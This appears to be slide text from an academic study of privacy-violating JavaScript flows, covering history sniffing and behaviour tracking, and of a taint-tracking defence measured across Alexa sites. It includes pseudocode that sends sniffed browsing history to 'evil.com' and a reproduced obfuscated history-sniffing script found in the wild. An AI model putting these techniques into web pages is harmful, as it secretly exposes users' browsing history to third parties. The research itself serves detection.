An Empirical Study of Privacy-Violating Information Flows In JavaScript Web Applications

1. An Empirical Study of Privacy-Violating Information Flows In JavaScript Web Applications Dongseok Jang RanjitJhala Sorin Lerner HovavShacham UC San Diego

3. ✗ • Phishing • Location Hijacking • document.location

5. ✗ • Identity Theft • Cookie Stealing • document.cookie

7. ✗ • History Sniffing JavaScript Visited Not-Visited

9. See absolutely everything visitors do on your webpage. …

10. ✗ • Behavior Tracking

11. Plenty of Mischief Possible!

12. How Prevalent Are Malicious Flows? • How to Detect Malicious Flows?

13. Motivation Flow Policies Dynamic Flow Tracking Flows in the Wild Conclusions

14. Flow Policies • Specify different types of flows

15. Policies:History Sniffing • 1. Create (invisible) link to a.com color depends on history • 2. Inspect link’s color style property color says if link was visited • 3. Send sniffed info over network

16. Policies:History Sniffing • link = createLink(“facebook.com”); • style = doc.getStyle(link); • visited = style.color==“purple”; • send(“evil.com”,“facebook=” + visited);

17. Policies:History Sniffing • link = createLink(“facebook.com”); • style = doc.getStyle(link); • visited = style.color==“purple”; • send(“evil.com”,“facebook=” + visited); doc.getStyle(link); • Inject Taints • (At confidential sources)

18. Policies:History Sniffing • link = createLink(“facebook.com”); • style = doc.getStyle(link); • visited = style.color==“purple”; • send(“evil.com”,“facebook=” + visited); doc.getStyle(link); style visited style.color==“purple”; style.color==“purple” send(“evil.com”,“facebook=” + visited); • Propagate Taints • (At assignments, etc.)

19. Policies:History Sniffing • link = createLink(“facebook.com”); • style =doc.getStyle(link); • visited =style.color==“purple”; • send(“evil.com”,“facebook=” + visited); “cr=” + color • send(“evil.com”,“facebook=” + visited); • Block Taints • (At untrusted sinks)

20. Flow Policies • Inject • Block

21. Flow Policies • Inject • Block at doc.getStyle($1) ifisLink($1) inject“secret” • Taint style with “secret”

22. Flow Policies • Inject • Block

23. Flow Policies • Inject • Block at send($1, $2) block “secret” on $2 • Block tainted values to third-party

24. Flow Policies • Inject • Block atSite if Cond injectTaint atSite block Taint on Param

25. Flow Policies • Expressive • History Sniffing • Behavior Tracking • Cookie Stealing • Location Hijacking…

26. Motivation Flow Policies Dynamic Flow Tracking Flows in the Wild Conclusions

27. [Chander et al POPL 07] Dynamic Flow Tracking • Source • code Parse Rewrite Execute • AST • AST Dynamic Eval • Rewrite JS code to carry taints

28. Source • code Parse Rewrite Execute • AST • AST Dynamic Eval Rewritten Code Add .taintfields Inject, Propagate, Block Taints

29. Source • code Parse Rewrite Execute • AST • AST Dynamic Eval Rewriting Issues Boxing / Unboxing • Indirect Flows

30. Source • code Parse Rewrite Execute • AST • AST Dynamic Eval Rewriting Issues Boxing / Unboxing • Indirect Flows

31. Dynamic Flow Tracking • Source • code Parse Rewrite Execute • AST • AST Dynamic Eval • Rewrite JS code to carry taints • Implemented in Chrome/V8

32. Dynamic Flow Tracking • Performance (Overhead)

33. Performance: Policies • Cookie Confidentiality • cookie doesn’t flow to 3rd party code • Location Integrity • locationunaffected by 3rd party code

34. Performance: Benchmark • 10 sites with the largest JS code base in Alexa top 100 • 15 – 31 Kloc (avg. 21Kloc)

35. Performance: Figures • Timing Overheads • Page load (avg: 2x) • JS execution (avg: 3x)

36. Performance: Upshot • High for online use • Acceptable for offline survey

37. Motivation Flow Policies Dynamic Flow Tracking Flows in the Wild Conclusions

38. Flows “In the Wild” • History Sniffing • Behavior Tracking

39. History Sniffing: Figures • Alexa Top 50,000 sites • 63 sites reported as sending history over network • 1 site in Alexa Top 100 • 46 sites were real cases

40. History Sniffing: Example var k = {0:"qpsoivc/dpn",1:"sfeuvcf/dpn", 2:"bevmugsjfoegfs/dpn“...}; var g = []; for (var m in k) { var d = k[m]; var a = ""; for (f=0; f<d.length; f++) a+=String.fromCharCode(d.charCodeAt(f) - 1) var h = false; for (var j in { "http://":"", "http://www.":""}) { var l = document.createElement("a"); l.href = j + a; document.getElementById("ol").appendChild(l); var e = document.getComputedStyle(l).getPropertyValue("color") if (e == "rgb(12, 34, 56)" || e == "rgb(12,34,56)") { h = true } } if (h) { g.push(m) } } • Encrypted URLs • Decrypt URL • Create Link • 1 site in Alexa Top 100 • Inspect Color

41. History Sniffing: Real Cases

42. History Sniffing: Real Cases

43. History Sniffing: Real Cases

44. doubleclick.net History Sniffing: Real Cases charter.net  doubleclick.net interclick

45. History Sniffing: Real Cases gamestorrentsharrenmedianetworkmeaningtool

46. History Sniffing: Upshot • # of sniffed URLs: 8 to 222 • 46 of real cases • 39 had third-party sniffing code • 7 had home-grown code • Obfuscated sniffing code • Code was generated at runtime

47. Malicious Flows “In the Wild” • History Hijacking • Behavior Tracking

48. Behavior Tracking • Log user behavior by JS event handlers • Send log back to website

49. Behavior Tracking: Policy while(1){ e = getEvent(); if (e.isMouseOver()) onMouseOver(e); if (e.isClick()) onClick(e); ... } onMouseOver = function(event) isMouseOver = true; } true

50. Behavior Tracking: Policy while(1){ e = getEvent(); if (e.isMouseOver()) onMouseOver(e); if (e.isClick()) onClick(e); ... } e.isMouseOver() at $1.isMouseOver() inject“secret” at $1.isClick() inject“secret” …